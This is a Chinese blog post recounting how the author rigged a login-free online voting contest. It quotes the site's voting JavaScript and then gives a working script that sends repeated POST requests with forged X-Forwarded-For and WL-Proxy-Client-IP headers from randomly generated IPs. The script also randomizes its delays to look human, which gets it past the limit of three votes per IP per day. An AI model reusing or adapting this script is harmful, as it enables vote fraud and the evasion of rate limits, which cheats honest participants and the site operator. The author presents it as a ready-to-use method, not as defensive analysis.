记一次js投票刷票成功的过程

家庭群里,时不时的亲戚就会要求给他投票啊什么的……有的还要你每天帮忙一次。真的是,我又不是上班,凭什么要求我打卡!不行,我要试试看能不能刷!

一:规则

打开网页一看:是一个免登录的投票页面:
在这里插入图片描述
其规则为:每个IP每天可以投票三次。
在这里插入图片描述
好家伙!没有登录,没有验证码,正是小试牛刀的好对象!

二:研究

找到待投票的项目,发现其源码写着:
在这里插入图片描述
找到votes方法:

//-投票
var isSubmit = false;
var lastTime = 0;
function votes(playerId) {
    /*
    $("#msgDialog").fadeIn(200);
    $("#msgDialog .weui-dialog__bd").text("投票已截止");
    return false;
    */
    if (isSubmit) return;
    var nowTime = Date.parse(new Date());
    if ((nowTime - lastTime) < 2000) { return; }
    isSubmit = true;
    var action = 'vote';

    $.ajax({
        type: "post",
        url: host + "/server/api/Player.aspx",
        dataType: "json",
        timeout: 30000,
        data: {
            action: action,
            id: playerId
        },
        traditional: true,
        beforeSend: function () {
            $("#toastSuccess").fadeOut(200);
            $("#loadingToast .weui-toast__content").text("正在投票,请稍后...");
            $("#loadingToast").fadeIn(200);
        },
        success: function (data) {
            isSubmit = false;
            data.state = parseInt(data.state);
            if (data.state == 1) {
                //+1票
                /*
                //多选
                for (var pi = 0; pi < playerId.length; pi++) {
                console.log("playerId,", playerId[pi])
                var thisPlayerId = playerId[pi];
                var v = parseInt($("#votesNum" + thisPlayerId).text());
                $("#votesNum" + thisPlayerId).text((v + 1));
                }
                */
                //单点
                var v = parseInt($("#votesNum" + playerId).text()) + 1;
                $("#votesNum" + playerId).text(v);
                updateVotes(playerId, v)
                //+1票 end
                $("#toastSuccess").fadeIn(200);
                var msg = "感谢您的参与!";
                $("#toastSuccess .weui-toast__content").text(msg);
                setTimeout(function () {
                    $("#toastSuccess").fadeOut(200);
                }, 2000);

            } else if (data.state == -2003) {
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("投票已截止");

            } else if (data.state == -2004) {
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("投票未开始");
            }  else if (data.state == -2006) {
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("您今日已为该选手投票");
            } else {

                var sn = getPlayerNo(data.itemId);
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("您今天的投票次数已用完!");


            }
        },
        complete: function (XMLHttpRequest, status) {
            isSubmit = false;
            lastTime = nowTime;
            console.log('status', status);
            $("#loadingToast").fadeOut(200);
            if (status == 'timeout') {
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("网络连接超时,请重试。");
            }
            else if (status == 'error') {
                $("#msgDialog").fadeIn(200);
                $("#msgDialog .weui-dialog__bd").text("网络连接错误,请重试。");
            }
        }
    });
}

就是一个很普通的ajax跳转,把id当参数传进去了。参考了网上的一些教程(关于微信投票刷票的js代码
准备动手。

三:实践

以下是程序代码:

function init(){
initIp();
}
//定时操作,每秒执行一次
function demo(){
var b=0;
while(b<1000){//循环次数,根据你想要投票的次数来定。不要写while(true)后果很严重
console.log("go");
var time=randomNum(4000,5000);//设定延迟时间在一个小范围内,模拟人操作。毕竟人的操作不会每次耗时都一样。
for(var i=0;i<4;i++){setInterval(init(),time);//每个ip可以投票三次,所以循环三次
setInterval(function(){},time);
b++;
}
}

}

//提交请求
function initIp(){
var ip=createIp(); 
var host = 'http://该网站域名.com.cn/Voting';
var submitData = {
action : 'vote',
id : 3433 //参数自然不用传了,直接写上就好
};
console.log("go into");
$.ajax({
headers:{'x-forwarded-for':ip,'WL-Proxy-Client-IP':ip},
type: "POST",
url: host + "/server/api/Player.aspx",
data: submitData,
dataType: "json",
beforeSend: function () {},
success: function (data) {
 data.state = parseInt(data.state);
if(data.state == 1){//参考原来的代码,读取返回值判断我们是否刷成功了
console.log("刷票成功");
}else {
console.log("失败"+data.state)
}
}
});
}
//生成随机的ip地址
function createIp() {
var a = Math.round(Math.random() * 250) + 1,
b = Math.round(Math.random() * 250) + 1,
c = Math.round(Math.random() * 240) + 1,
d = Math.round(Math.random() * 240) + 1;
return [a, b, c, d].join('.');
}
function randomNum(minNum,maxNum){ 
    return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10); 
}

代码实现了伪造请求的IP,以实现重复投票。实现操作时间随机化,模拟人手操作。
不足之处也有。本来我以为是一个操作完到下一个,4-5秒操作一次,结果程序直接给我并发运行了,比想象中快很多。原来程序有个timeout参数,我的忘记加了……总之造成了作弊可能被发现的可能。

运行结果:(循环数次)

在这里插入图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值